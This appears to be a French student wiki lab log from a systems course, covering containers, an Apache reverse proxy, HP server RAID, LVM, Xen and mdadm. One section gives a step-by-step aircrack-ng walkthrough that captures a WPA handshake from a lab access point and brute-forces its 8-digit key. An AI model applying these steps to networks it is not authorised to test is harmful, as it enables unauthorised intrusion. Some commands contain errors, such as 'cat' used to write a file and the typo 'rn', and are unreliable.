&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP StorageWorks MSA60.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[fichier:Reconstruction raid.jpg|center|600px]]&lt;br /&gt;
&lt;br /&gt;
=Séance 5 : Mise en place du serveur DNS et crack WPA2=&lt;br /&gt;
&lt;br /&gt;
==Mise en place du serveur DNS==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Crack de réseau Wifi WPA==&lt;br /&gt;
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Ifconfig.png|center]]&lt;br /&gt;
&lt;br /&gt;
Dans notre cas elle s'appelle wlp3s0.&lt;br /&gt;
&lt;br /&gt;
On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :&lt;br /&gt;
&lt;br /&gt;
  ifconfig wlp3s0 down&lt;br /&gt;
&lt;br /&gt;
On place la carte en &amp;quot;monitor mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start wlp3s0&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que l'interface est bien en monitor mode avec airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airmonng.png|center]]&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airodump.png|center]]&lt;br /&gt;
&lt;br /&gt;
De ce scan, nous tirons plusieurs informations : &lt;br /&gt;
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.&lt;br /&gt;
-Nous notons son BSSID : 04:DA:D2:9C:50:53&lt;br /&gt;
-Son channel : 9&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Handshake2.png|center]]&lt;br /&gt;
&lt;br /&gt;
Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.&lt;br /&gt;
&lt;br /&gt;
La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  int main() {&lt;br /&gt;
  	for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
  		printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  	}&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  gcc -o dico dico.c&lt;br /&gt;
  ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.&lt;br /&gt;
&lt;br /&gt;
Le brute-force peut maintenant commencer :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt&lt;br /&gt;
&lt;br /&gt;
Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Keyfound.png|center]]&lt;br /&gt;
&lt;br /&gt;
L'image ci dessus nous montre enfin la clé WPA de cracotte04.&lt;br /&gt;
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.&lt;br /&gt;
&lt;br /&gt;
==Utilisation de partitions virtuelles==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie nous allons mettre en place des partitions virtuelles dans notre machine, ces partitions étant hébergées sur cordouan.&lt;br /&gt;
&lt;br /&gt;
On commence par créer les partitions sur cordouan :&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-home virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-var virtual&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part1 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part2 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part3 virtual&lt;br /&gt;
&lt;br /&gt;
On ajoute ces partitions dans /etc/xen/aphrodite.cfg :&lt;br /&gt;
&lt;br /&gt;
  disk = [&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/disk.img,xvda2,w',&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/swap.img,xvda1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-home,xvdb1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-var,xvdc1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part1,xvdd1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part2,xvde1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part3,xvdf1,w'&lt;br /&gt;
  	 ]&lt;br /&gt;
&lt;br /&gt;
Les deux premières partitions serviront à var et home, et les trois suivantes serviront à créer un raid logiciel.&lt;br /&gt;
&lt;br /&gt;
Afin que les modifications soient effectives, on reboot la VM.&lt;br /&gt;
&lt;br /&gt;
===Var et Home===&lt;br /&gt;
&lt;br /&gt;
De retour sur la VM, on créé un système de fichiers sur /dev/xvdb1 et /dev/xvdc1 :&lt;br /&gt;
&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
  mkfs -t ext4 /dev/xvdc1&lt;br /&gt;
&lt;br /&gt;
Le home de notre VM étant vide, nous pouvons directement monter la nouvelle partition. Pour cela, on se rend dans /etc/fstab, et on modifie le point de montage existant du home :&lt;br /&gt;
&lt;br /&gt;
  /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
C'en est tout pour le home, passons au var. La procédure sera légèrement différente dans le sens ou nous souhaitons sauver le contenu de notre var.&lt;br /&gt;
&lt;br /&gt;
Pour cela, nous allons créer un point de montage temporaire de notre nouvelle partition var :&lt;br /&gt;
&lt;br /&gt;
  mkdir /mnt_var&lt;br /&gt;
  mount /dev/xvdc1 /mnt_var&lt;br /&gt;
&lt;br /&gt;
Nous transférons le contenu de notre ancier dossier var dans la nouvelle partition précédemment montée :&lt;br /&gt;
&lt;br /&gt;
  cd /var&lt;br /&gt;
  cp -ax * /mnt_var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous faisons ensuite un backup de notre ancien dossier var :&lt;br /&gt;
&lt;br /&gt;
  mv /var /var.old&lt;br /&gt;
&lt;br /&gt;
On recrée le point de montage, on démonte le point de montage temporaire et on monte le nouveau var :&lt;br /&gt;
&lt;br /&gt;
  mkdir /var&lt;br /&gt;
  umount /dev/xvdc1&lt;br /&gt;
  mount /dev/xvdc1 /var&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que tout est ok en lançant un apt-get update et vérifier qu'il n'y a pas de souci.&lt;br /&gt;
&lt;br /&gt;
Ceci étant validé, il nous reste à ajouter la ligne suivante au /etc/fstab pour que le var soit monté à chaque démarrage de la VM :&lt;br /&gt;
&lt;br /&gt;
  /dev/xvdc1 /var ext4 defaults 0 0&lt;br /&gt;
&lt;br /&gt;
Pour terminer, après avoir vérifié que tout est en ordre, on fait un peu de ménage :&lt;br /&gt;
&lt;br /&gt;
  rm -r /mnt_var&lt;br /&gt;
  rn -r /var.old&lt;br /&gt;
&lt;br /&gt;
===RAID===&lt;br /&gt;
Nous allons maintenant créer un RAID5 logiciel constitué des 3 partitions créées précédemment.&lt;br /&gt;
Pour ce faire, nous utiliserons l'utilitaire mdadm.&lt;br /&gt;
&lt;br /&gt;
Les trois partitions sont sur /dev/xvdd1, /dev/xvde1, et /dev/xvdf1.&lt;br /&gt;
&lt;br /&gt;
Nous allons donc créer le raid5 sur /dev/md0&lt;br /&gt;
&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1&lt;br /&gt;
&lt;br /&gt;
On créé ensuite un filesystem dans la nouvelle partition raid :&lt;br /&gt;
&lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On créé un point de montage et on monte la partition :&lt;br /&gt;
&lt;br /&gt;
  mkdir /mnt_raid5&lt;br /&gt;
  mount /dev/md0 /mnt_raid5&lt;br /&gt;
&lt;br /&gt;
On automatise la création de la grappe :&lt;br /&gt;
&lt;br /&gt;
  mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Enfin, on automatise le montage de la partition en ajoutant la ligne suivante au /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
  /dev/md0 /mnt_raid5/ ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
Le lancement de la commande suivante permet de confirmer que tout est ok :&lt;br /&gt;
&lt;br /&gt;
  mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Raid5.png|center]]&lt;br /&gt;
&lt;br /&gt;
=Séance 6=&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48744</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48744"/>
				<updated>2018-12-15T18:58:27Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* RAID */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
